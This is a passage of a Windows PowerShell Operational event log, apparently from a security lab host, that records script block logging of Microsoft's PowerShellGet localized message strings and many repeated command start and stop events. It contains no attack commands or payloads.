QueryInstallUntrustedScriptPackage=You are installing the scripts from an untrusted repository. If you trust this repository, change its InstallationPolicy value by running the Set-PSRepository cmdlet. Are you sure you want to install the scripts from '{1}'?
QuerySaveUntrustedPackage=You are downloading the modules from an untrusted repository. If you trust this repository, change its InstallationPolicy value by running the Set-PSRepository cmdlet. Are you sure you want to download the modules from '{1}'?
QuerySaveUntrustedScriptPackage=You are downloading the scripts from an untrusted repository. If you trust this repository, change its InstallationPolicy value by running the Set-PSRepository cmdlet. Are you sure you want to download the scripts from '{1}'?
SourceNotFound=Unable to find repository '{0}'. Use Get-PSRepository to see all available repositories.
PSGalleryApiV2Deprecated=PowerShell Gallery v2 has been deprecated. Please run 'Update-Module -Name PowerShellGet' to update to PowerShell Gallery v3. For more information, please visit our website at 'https://www.powershellgallery.com'.
PSGalleryApiV2Discontinued=PowerShell Gallery v2 has been discontinued. Please run 'Update-Module -Name PowerShellGet' to update to PowerShell Gallery v3. For more information, please visit our website at 'https://www.powershellgallery.com'.
PowerShellGalleryUnavailable=PowerShell Gallery is currently unavailable. Please try again later.
PowerShellGetModuleIsNotInstalledProperly=The PowerShellGet module was not installed properly. Be sure that only one instance or version of the PowerShellGet module is installed in the path '{0}'.
PowerShelLGetModuleGotUpdated=The PowerShellGet module was updated successfully. Restart the process to use the updated version of the PowerShellGet module.
TagsShouldBeIncludedInManifestFile=Tags are now supported in the module manifest file (.psd1). Update the module manifest file of module '{0}' in '{1}' with the newest tag changes. You can run Update-ModuleManifest -Tags to update the manifest with tags.
ReleaseNotesShouldBeIncludedInManifestFile=ReleaseNotes is now supported in the module manifest file (.psd1). Update the module manifest file of module '{0}' in '{1}' with the newest ReleaseNotes changes. You can run Update-ModuleManifest -ReleaseNotes to update the manifest with ReleaseNotes.
LicenseUriShouldBeIncludedInManifestFile=LicenseUri is now supported in the module manifest file (.psd1). Update the module manifest file of module '{0}' with the newest LicenseUri changes. You can run Update-ModuleManifest -LicenseUri to update the manifest with LicenseUri.
IconUriShouldBeIncludedInManifestFile=IconUri is now supported in the module manifest file (.psd1). Update the module manifest file of module '{0}' in '{1}' with the newest IconUri changes. You can run Update-ModuleManifest -IconUri to update the manifest with IconUri.
ProjectUriShouldBeIncludedInManifestFile=ProjectUri is now supported in the module manifest file (.psd1). Update the module manifest file of module '{0}' in '{1}' with the newest ProjectUri changes. You can run Update-ModuleManifest -ProjectUri to update the manifest with ProjectUri.
ShouldIncludeFunctionsToExport=This module '{0}' has exported functions. As a best practice, include exported functions in the module manifest file(.psd1). You can run Update-ModuleManifest -FunctionsToExport to update the manifest with ExportedFunctions field.
ShouldIncludeCmdletsToExport=This module '{0}' has exported cmdlets. As a best practice, include exported cmdlets in the module manifest file(.psd1). You can run Update-ModuleManifest -CmdletsToExport to update the manifest with ExportedCmdlets field.
ShouldIncludeDscResourcesToExport=This module '{0}' has exported DscResources. As a best practice, include exported DSC resources in the module manifest file(.psd1). If your PowerShell version is higher than 5.0, run Update-ModuleManifest -DscResourcesToExport to update the manifest with ExportedDscResources field.
UpdateModuleManifestPathCannotFound=Cannot load the manifest file '{0}' properly. Please specify the correct manifest path.
UpdatedModuleManifestNotValid=Cannot update the manifest file '{0}' because the manifest is not val
ScriptBlock ID: b5078b5d-8a41-45b2-a7d5-f3637cd1accb
Path:
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=3
Type=Warning
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=1467051
Keywords=None
Message=Creating Scriptblock text (1 of 3):
# Localized 03/28/2017 06:00 AM (GMT) 303:4.80.0411 PSGet.Resource.psd1
#########################################################################################
#
# Copyright (c) Microsoft Corporation. All rights reserved.
#
# Localized PSGet.Resource.psd1
#
#########################################################################################
ConvertFrom-StringData @'
###PSLOC
InstallModulewhatIfMessage=Version '{1}' of module '{0}'
InstallScriptwhatIfMessage=Version '{1}' of script '{0}'
UpdateModulewhatIfMessage=Version '__OLDVERSION__' of module '{0}', updating to version '{1}'
UpdateScriptwhatIfMessage=Version '__OLDVERSION__' of script '{0}', updating to version '{1}'
PublishModulewhatIfMessage=Version '{0}' of module '{1}'
PublishScriptwhatIfMessage=Version '{0}' of script '{1}'
NewScriptFileInfowhatIfMessage=Creating the '{0}' PowerShell Script file
UpdateScriptFileInfowhatIfMessage=Updating the '{0}' PowerShell Script file
NameShouldNotContainWildcardCharacters=The specified name '{0}' should not contain any wildcard characters, please correct it and try again.
AllVersionsCannotBeUsedWithOtherVersionParameters=You cannot use the parameter AllVersions with RequiredVersion, MinimumVersion or MaximumVersion in the same command.
VersionRangeAndRequiredVersionCannotBeSpecifiedTogether=You cannot use the parameters RequiredVersion and either MinimumVersion or MaximumVersion in the same command. Specify only one of these parameters in your command.
RequiredVersionAllowedOnlyWithSingleModuleName=The RequiredVersion parameter is allowed only when a single module name is specified as the value of the Name parameter, without any wildcard characters.
MinimumVersionIsGreaterThanMaximumVersion=The specified MinimumVersion '{0}' is greater than the specified MaximumVersion '{1}'.
InstallModuleNeedsCurrentUserScopeParameterForNonAdminUser=Administrator rights are required to install modules in '{0}'. Log on to the computer with an account that has Administrator rights, and then try again, or install '{1}' by adding "-Scope CurrentUser" to your command. You can also try running the Windows PowerShell session with elevated rights (Run as Administrator).
InstallScriptNeedsCurrentUserScopeParameterForNonAdminUser=Administrator rights are required to install scripts in '{0}'. Log on to the computer with an account that has Administrator rights, and then try again, or install '{1}' by adding "-Scope CurrentUser" to your command. You can also try running the Windows PowerShell session with elevated rights (Run as Administrator).
VersionParametersAreAllowedOnlyWithSingleName=The RequiredVersion, MinimumVersion, MaximumVersion or AllVersions parameters are allowed only when you specify a single name as the value of the Name parameter, without any wildcard characters.
PathIsNotADirectory=The specified path '{0}' is not a valid directory.
ModuleAlreadyInstalled=Version '{0}' of module '{1}' is already installed at '{2}'. To delete version '{3}' and install version '{4}', run Install-Module, and add the -Force parameter.
ScriptAlreadyInstalled=Version '{0}' of script '{1}' is already installed at '{2}'. To delete version '{3}' and install version '{4}', run Install-Script, and add the -Force parameter.
CommandAlreadyAvailable=A command with name '{0}' is already available on this system. This script '{0}' may override the existing command. If you still want to install this script '{0}', use -Force parameter.
ModuleAlreadyInstalledSxS=Version '{0}' of module '{1}' is already installed at '{2}'. To install version '{3}', run Install-Module and add the -Force parameter, this command will install version '{5}' in side-by-side with version '{4}'.
ModuleAlreadyInstalledVerbose=Version '{0}' of module '{1}' is already installed at '{2}'.
ScriptAlreadyInstalledVerbose=Version '{0}' of script '{1}' is already installed at '{2}'.
ModuleWithRequiredVersionAlreadyInstalled=Version '{0}' of module '{1}' is already installed at '{2}'. To reinstall this version '{3}', run Install-Module or Updated-Module cmdlet with the -Force parameter.
InvalidPSModule=The module '{0}' cannot be installed or updated because it is not a properly-formed module.
InvalidPowerShellScriptFile=The script '{0}' cannot be installed or updated because it is not a properly-formed script.
InvalidAuthenticodeSignature=The module '{0}' cannot be installed or updated because the Authenticode signature for the file '{1}' is not valid.
ModuleNotInstalledOnThisMachine=Module '{0}' was not updated because no valid module was found in the module directory. Verify that the module is located in the folder specified by $env:PSModulePath.
ScriptNotInstalledOnThisMachine=Script '{0}' was not updated because no valid script was found in the script directories '{1}' and '{2}'.
AdminPrivilegesRequiredForUpdate=Module '{0}' (installed at'{1}') cannot be updated because Administrator rights are required to change that directory. Log on to the computer with an account that has Administrator rights, and then try again. You can also try running the Windows PowerShell session with elevated rights (Run as Administrator).
AdminPrivilegesRequiredForScriptUpdate=Script '{0}' (installed at'{1}') cannot be updated because Administrator rights are required to change that script. Log on to the computer with an account that has Administrator rights, and then try again. You can also try running the Windows PowerShell session with elevated rights (Run as Administrator).
ModuleNotInstalledUsingPowerShellGet=Module '{0}' was not installed by using Install-Module, so it cannot be updated.
ScriptNotInstalledUsingPowerShellGet=Script '{0}' was not installed by using Install-Script, so it cannot be updated.
DownloadingModuleFromGallery=Downloading module '{0}' with version '{1}' from the repository '{2}'.
DownloadingScriptFromGallery=Downloading script '{0}' with version '{1}' from the repository '{2}'.
NoUpdateAvailable=No updates were found for module '{0}'.
NoScriptUpdateAvailable=No updates were found for module '{0}'.
FoundModuleUpdate=An update for the module '{0}' was found with version '{1}'.
FoundScriptUpdate=An update for the script '{0}' was found with version '{1}'.
InvalidPSModuleDuringUpdate=Module '{0}' was not updated because the module in the repository '{1}' is not a valid Windows PowerShell module.
ModuleGotUpdated=Module '{0}' has been updated successfully.
TestingModuleInUse=Testing if the module to update is in use.
ModuleDestination=The specified module will be installed in '{0}'.
ScriptDestination=The specified script will be installed in '{0}' and its dependent modules will be installed in '{1}'.
ModuleIsInUse=Module '{0}' is in currently in use.
ModuleInstalledSuccessfully=Module '{0}' was installed successfully to path '{1}'.
ModuleSavedSuccessfully=Module '{0}' was saved successfully to path '{1}'.
ScriptInstalledSuccessfully=Script '{0}' was installed successfully to path '{1}'.
ScriptSavedSuccessfully=Script '{0}' was saved successfully to path '{1}'.
CheckingForModuleUpdate=Checking for updates for module '{0}'.
CheckingForScriptUpdate=Checking for updates for script '{0}'.
ModuleInUseWithProcessDetails=The version '{0}' of module '{1}' is currently in use. Retry the operation after closing the following applications: '{2}'.
ModuleVersionInUse=The version '{0}' of module '{1}' is currently in use. Retry the operation after closing the applications.
ModuleNotAvailableLocally=The specified module '{0}' was not published because no module with that name was found in any module directory.
InvalidModulePathToPublish=The specified module with path '{0}' was not published because no valid module was found with that path.
ModuleWithRequiredVersionNotAvailableLocally=The specified module '{0}' with version '{1}' was not published because no module with that name and version was found in any module directory.
AmbiguousModuleName=Modules with the name '{0}' are available under multiple paths. Add the -RequiredVersion parameter or the -Path parameter to specify the module to publish.
AmbiguousModulePath=Multiple versions are available under the specified module path '{0}'. Specify the full path to the module to be published.
PublishModuleLocation=Module '{0}' was found in '{1}'.
InvalidModuleToPublish=Module '{0}' cannot be published because it does not have a module manifest file. Run New-ModuleManifest -Path to create a module manifest with metadata before publishing.
MissingRequiredManifestKeys=Module '{0}' cannot be published because it is missing required metadata. Verify that the module manifest specifies Description and Author.
ModuleVersionShouldBeGreaterThanGalleryVersion=Module '{0}' with version '{1}' cannot be published. The version must exceed the current version '{2}' that exists in the repository '{3}', or you must specify -Force.
ModuleVersionIsAlreadyAvailableInTheGallery=The module '{0}' with version '{1}' cannot be published as the current version '{2}' is already available in the repository '{3}'.
CouldNotInstallNuGetProvider=NuGet provider is required to interact with NuGet-based repositories. Please ensure that '{0}' or newer version of NuGet provider is installed.
CouldNotInstallNuGetExe=NuGet.exe is required to interact with NuGet-based repositories. Please ensure that NuGet.exe is available under one of the paths specified in PATH environment variable value.
CouldNotInstallNuGetBinaries2=PowerShellGet requires NuGet.exe and NuGet provider version '{0}' or newer to interact with the NuGet-based repositories. Please ensure that '{0}' or newer version of NuGet provider is installed and NuGet.exe is available under one of the paths specified in PATH environment variable value.
InstallNuGetProviderShouldContinueQuery=PowerShellGet requires NuGet provider version '{0}' or newer to interact with NuGet-based repositories. The NuGet provider must be available in '{1}' or '{2}'. You can also install the NuGet provider by running 'Install-PackageProvider -Name NuGet -MinimumVersion {0} -Force'. Do you want PowerShellGet to install and import the NuGet provider now?
InstallNuGetBinariesShouldContinueQuery2=PowerShellGet requires NuGet.exe and NuGet provider version '{0}' or newer to interact with the NuGet-based repositories. The NuGet provider must be available in '{1}' or '{2}'. You can also install the NuGet provider by running 'Install-PackageProvider -Name NuGet -MinimumVersion {0} -Force'. NuGet.exe must be available in '{3}' or '{4}, or under one of the paths specified in PATH environment variable value. NuGet.exe can be downloaded from http://nuget.org/nuget.exe. Do you want PowerShellGet to install both NuGet.exe and NuGet provider now?
InstallNuGetExeShouldContinueQuery=PowerShellGet requires NuGet.exe to publish an item to the NuGet-based repositories. NuGet.exe must be available in '{0}' or '{1}, or under one of the paths specified in PATH environment variable value. NuGet.exe can be downloaded from http://nuget.org/nuget.exe. Do you want PowerShellGet to install NuGet.exe now?
InstallNuGetBinariesShouldContinueCaption2=NuGet.exe and NuGet provider are required to continue
InstallNuGetProviderShouldContinueCaption=NuGet provider is required to continue
InstallNuGetExeShouldContinueCaption=NuGet.exe is required to continue
DownloadingNugetExe=Installing NuGet.exe.
DownloadingNugetProvider=Installing NuGet provider.
ModuleNotFound=Module '{0}' was not found.
NoMatchFound=No match was found for the specified search criteria and module names '{0}'.
NoMatchFoundForScriptName=No match was found for the specified search criteria and script names '{0}'.
FailedToCreateCompressedModule=Failed to generate the compressed file for module '{0}'.
FailedToPublish=Failed to publish module '{0}': '{1}'.
PublishedSuccessfully=Successfully published module '{0}' to the module publish location '{1}'. Please allow few minutes for '{2}' to show up in the search results.
InvalidWebUri=The specified Uri '{0}' for parameter '{1}' is an invalid Web Uri. Please ensure that it meets the Web Uri requirements.
RepositoryAlreadyRegistered=The repository could not be registered because there exists a registered repository with Name '{0}' and SourceLocation '{1}'. To register another repository with Name '{2}', please unregister the existing repository using the Unregister-PSRepository cmdlet.
RepositoryToBeUnregisteredNotFound=The repository '{0}' was not removed because no repository was found with that name. Please run Get-PSRepository and ensure that a repository of that name is present.
RepositoryCannotBeUnregistered=The specified repository '{0}' cannot be unregistered.
RepositoryNotFound=No repository with the name '{0}' was found.
PSGalleryNotFound=Unable to find repository '{0}'. Use Get-PSRepository to see all available repositories. Try again after specifying a valid repository name. You can use 'Register-PSRepository -Default' to register the PSGallery repository.
ParameterIsNotAllowedWithPSGallery=The PSGallery repository has pre-defined locations. The '{0}' parameter is not allowed, try again after removing the '{0}' parameter.
UseDefaultParameterSetOnRegisterPSRepository=Use 'Register-PSRepository -Default' to register the PSGallery repository.
RepositoryNameContainsWildCards=The repository name '{0}' should not have wildcards, correct it and try again.
InvalidRepository=The specified repository '{0}' is not a valid
ScriptBlock ID: b5078b5d-8a41-45b2-a7d5-f3637cd1accb
Path:
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467050
Keywords=None
Message=Started invocation of ScriptBlock ID: 45379c41-a4a5-4f66-b608-7333082ce12f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467049
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1b205386-42f5-4802-959a-91fa412bc989
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467048
Keywords=None
Message=Started invocation of ScriptBlock ID: 1b205386-42f5-4802-959a-91fa412bc989
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467047
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1b205386-42f5-4802-959a-91fa412bc989
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467046
Keywords=None
Message=Started invocation of ScriptBlock ID: 1b205386-42f5-4802-959a-91fa412bc989
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467045
Keywords=None
Message=Completed invocation of ScriptBlock ID: b9f337ef-d9f1-4356-be2d-20b6c86eb6cc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467044
Keywords=None
Message=Started invocation of ScriptBlock ID: b9f337ef-d9f1-4356-be2d-20b6c86eb6cc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467043
Keywords=None
Message=Completed invocation of ScriptBlock ID: 64663673-3388-407d-9a69-709aa0010c6a
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467042
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467041
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467040
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467039
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467038
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467037
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467036
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467035
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467034
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467033
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467032
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467031
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467030
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467029
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467028
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467027
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467026
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467025
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467024
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1467023
Keywords=None
Message=Started invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1467022
Keywords=None
Message=Completed invocation of ScriptBlock ID: c03e44c5-33a8-41b9-adb5-16495b4dde39
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 04:59:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
